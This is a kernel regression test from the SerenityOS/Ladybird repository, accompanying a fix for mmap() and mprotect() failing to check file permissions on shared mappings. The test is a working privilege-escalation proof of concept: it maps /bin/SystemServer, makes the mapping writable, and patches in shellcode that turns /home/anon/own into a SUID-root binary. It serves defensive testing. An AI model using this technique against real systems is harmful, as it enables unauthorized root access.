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https://github.com/LadybirdBrowser/ladybird.git
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fe9680f0a4
This patch fixes some issues with the mmap() and mprotect() syscalls, neither of whom were checking the permission bits of the underlying files when mapping an inode MAP_SHARED. This made it possible to subvert execution of any running program by simply memory-mapping its executable and replacing some of the code. Test: Kernel/mmap-write-into-running-programs-executable-file.cpp
71 lines
1.6 KiB
C++
71 lines
1.6 KiB
C++
#include <AK/Types.h>
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#include <fcntl.h>
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#include <stdio.h>
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#include <string.h>
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#include <sys/mman.h>
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#include <unistd.h>
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int main()
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{
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int fd = open("/bin/SystemServer", O_RDONLY);
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if (fd < 0) {
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perror("open");
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return 1;
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}
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u8* ptr = (u8*)mmap(nullptr, 16384, PROT_READ, MAP_FILE | MAP_SHARED, fd, 0);
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if (ptr == MAP_FAILED) {
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perror("mmap");
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return 1;
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}
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if (mprotect(ptr, 16384, PROT_READ | PROT_WRITE) < 0) {
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perror("mprotect");
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return 1;
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}
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/*
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*
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* This payload replaces the start of sigchld_handler in the /bin/SystemServer file.
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* It does two things:
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*
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* chown ("/home/anon/own", 0, 0);
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* chmod ("/home/anon/own", 04755);
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*
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* In other words, it turns "/home/anon/own" into a SUID-root executable! :^)
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*
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*/
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#if 0
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[bits 32]
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[org 0x0804b111]
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jmp $+17
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path:
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db "/home/anon/own", 0
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mov eax, 79
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mov edx, path
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mov ecx, 0
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mov ebx, 0
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int 0x82
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mov eax, 67
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mov edx, path
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mov ecx, 15
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mov ebx, 2541
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int 0x82
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ret
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#endif
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const u8 payload[] = {
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0xeb, 0x0f, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x61, 0x6e, 0x6f,
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0x6e, 0x2f, 0x6f, 0x77, 0x6e, 0x00, 0xb8, 0x4f, 0x00, 0x00, 0x00,
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0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xbb,
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0x00, 0x00, 0x00, 0x00, 0xcd, 0x82, 0xb8, 0x43, 0x00, 0x00, 0x00,
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0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x0f, 0x00, 0x00, 0x00, 0xbb,
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0xed, 0x09, 0x00, 0x00, 0xcd, 0x82, 0xc3
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};
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memcpy(&ptr[0x3111], payload, sizeof(payload));
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printf("ok\n");
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return 0;
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}
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